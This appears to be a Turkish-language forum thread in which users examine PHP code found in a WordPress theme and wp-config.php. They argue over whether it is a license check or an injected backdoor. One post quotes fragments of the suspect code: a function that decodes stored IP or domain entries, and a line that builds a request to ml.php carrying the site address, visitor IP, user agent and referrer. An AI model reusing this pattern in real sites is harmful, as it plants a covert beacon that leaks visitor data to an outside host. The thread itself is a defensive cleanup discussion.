• 03-02-2015, 19:24:52
    #10
    $f = fopen($t.DIRECTORY_SEPARATOR.$name,"w");

    şu fonksiyon ile yapamayacakları şey yok. Her bir satırın ne işe yaradığını bilmek yerine bunları temizleyip genel bir tarama yaptırmanızı tavsiye ederim
  • 04-02-2015, 00:17:13
    #11
    dev
    Kurumsal Üye
    Cycl0ne adlı üyeden alıntı: mesajı görüntüle
    $f = fopen($t.DIRECTORY_SEPARATOR.$name,"w");

    şu fonksiyon ile yapamayacakları şey yok. Her bir satırın ne işe yaradığını bilmek yerine bunları temizleyip genel bir tarama yaptırmanızı tavsiye ederim
    Zaten amacım satır satır ne yağtığını bilmek değil. Sadece ne amaçla kullanıldığı anlamak. Sistemi komple temizledim ve gerekli düzenlemeleri yaptım.
  • 04-02-2015, 02:10:42
    #12
    Cycl0ne adlı üyeden alıntı: mesajı görüntüle
    $f = fopen($t.DIRECTORY_SEPARATOR.$name,"w");

    şu fonksiyon ile yapamayacakları şey yok. Her bir satırın ne işe yaradığını bilmek yerine bunları temizleyip genel bir tarama yaptırmanızı tavsiye ederim
    yapmayın hocam yapamayacağı şey yok falan bilmesek dünyayı kurtaran fonksiyon bu sanacaz

    altı üstü adam dosyaya verileri yazdırıyor. adamın yazdıgı kod apaçık belli ki lisanslı sattığı temayı w.arez olarak kullanan varsa onların bilgilerini almaya çalışmış. ki arkadaşın kullandığı temada da ml.php dosyası silinmiş zaten. büyük bir ihtimal ml.php ile de kendi sitesine yollayıp oradan kontrol ediyordur. herkesin lisans sistemi farklı. herkesin scriptlerine şifreledikleri kodlar farklı. çıkıpta adamın koduna laf etmeyin.

    bilmiyorum arkadaşı tanımıyorum lisanslı dedi benim için söz senettir irdelemedim de. lisanslı tema olduğu için de konuşmak istemedim ama abarttıkça abarttınız. genel olarak konuşuyorum. bilen bilmeyen yorum yapıyor. yapmayın gözünüzü seviyim altı üstü sizin lisans sistemlerinize benzer bir kodlama
  • 04-02-2015, 02:10:59
    #13
    Meftun adlı üyeden alıntı: mesajı görüntüle
    Bazı adresler dedrken ? İletişim kurulan ip adresi veya site adresi göremedim ben kodlarda
    if (!function_exists("get_know_ip")){
    function get_know_ip(){

    $name = get_true_name();

    foreach(get_t_dir_mass() as $t){
    if(file_exists($t.DIRECTORY_SEPARATOR.$name)){
    foreach (file($t.DIRECTORY_SEPARATOR.$name) as $tt){
    $tt = Uno_decode($tt);
    if(strpos($tt,".")>0){
    $know[] = trim($tt);
    }
    }
    }
    }
    return array_unique($know);
    }
    }

    burada dosyaları okuyup içinden ip veya domain alıyor, sonrasına ml.php?........... şeklinde ekleme yapıyor.

    $page = "/ml.php?mother=www.siteadi.com&cr=1&aid=".$aid."&ur l=".$url."&ip=".$real_ip."&ua=".$ua."&cod=".$cod." &ref=".$ref;


    şu satırın hemen altına echo $page.'<br />';
    yazarsan hangi adresle iletişime geçtiğini daha net görebilirsin
  • 04-02-2015, 02:34:49
    #14
    deleter20 adlı üyeden alıntı: mesajı görüntüle
    yapmayın hocam yapamayacağı şey yok falan bilmesek dünyayı kurtaran fonksiyon bu sanacaz

    altı üstü adam dosyaya verileri yazdırıyor. adamın yazdıgı kod apaçık belli ki lisanslı sattığı temayı w.arez olarak kullanan varsa onların bilgilerini almaya çalışmış. ki arkadaşın kullandığı temada da ml.php dosyası silinmiş zaten. büyük bir ihtimal ml.php ile de kendi sitesine yollayıp oradan kontrol ediyordur. herkesin lisans sistemi farklı. herkesin scriptlerine şifreledikleri kodlar farklı. çıkıpta adamın koduna laf etmeyin.

    bilmiyorum arkadaşı tanımıyorum lisanslı dedi benim için söz senettir irdelemedim de. lisanslı tema olduğu için de konuşmak istemedim ama abarttıkça abarttınız. genel olarak konuşuyorum. bilen bilmeyen yorum yapıyor. yapmayın gözünüzü seviyim altı üstü sizin lisans sistemlerinize benzer bir kodlama
    shell atamaz mı diyorsun şimdi sen.
  • 04-02-2015, 09:04:16
    #15
    dev
    Kurumsal Üye
    deleter20 adlı üyeden alıntı: mesajı görüntüle
    yapmayın hocam yapamayacağı şey yok falan bilmesek dünyayı kurtaran fonksiyon bu sanacaz

    altı üstü adam dosyaya verileri yazdırıyor. adamın yazdıgı kod apaçık belli ki lisanslı sattığı temayı w.arez olarak kullanan varsa onların bilgilerini almaya çalışmış. ki arkadaşın kullandığı temada da ml.php dosyası silinmiş zaten. büyük bir ihtimal ml.php ile de kendi sitesine yollayıp oradan kontrol ediyordur. herkesin lisans sistemi farklı. herkesin scriptlerine şifreledikleri kodlar farklı. çıkıpta adamın koduna laf etmeyin.

    bilmiyorum arkadaşı tanımıyorum lisanslı dedi benim için söz senettir irdelemedim de. lisanslı tema olduğu için de konuşmak istemedim ama abarttıkça abarttınız. genel olarak konuşuyorum. bilen bilmeyen yorum yapıyor. yapmayın gözünüzü seviyim altı üstü sizin lisans sistemlerinize benzer bir kodlama
    Bu kodlar sonradan eklendi yani orjinalda böyle kodlar yok. Ayrıca hiç bir tema yapımcısı wp-config.php ye kod ekleyipte lisans kontrolü yapacağını sanmıyorum.
  • 04-02-2015, 14:58:00
    #16
    Cycl0ne adlı üyeden alıntı: mesajı görüntüle
    shell atamaz mı diyorsun şimdi sen.
    o kodları oraya yerleştirmişse sonradan zaten shell atmış olmuyor mu
    sonra bir daha shell atarım dursun bu kod burda deyip gitmiş mi adam yani
  • 04-02-2015, 18:16:57
    #17
    deleter20 adlı üyeden alıntı: mesajı görüntüle
    o kodları oraya yerleştirmişse sonradan zaten shell atmış olmuyor mu
    sonra bir daha shell atarım dursun bu kod burda deyip gitmiş mi adam yani
    bu neyin kafası ya
  • 04-02-2015, 18:19:33
    #18
    Cycl0ne adlı üyeden alıntı: mesajı görüntüle
    bu neyin kafası ya
    tamam benim kafa güzel olabilir ama sende ki kafa kimsede yok kardeşim. kodları ve yorumları tekrardan incelemeni öneririm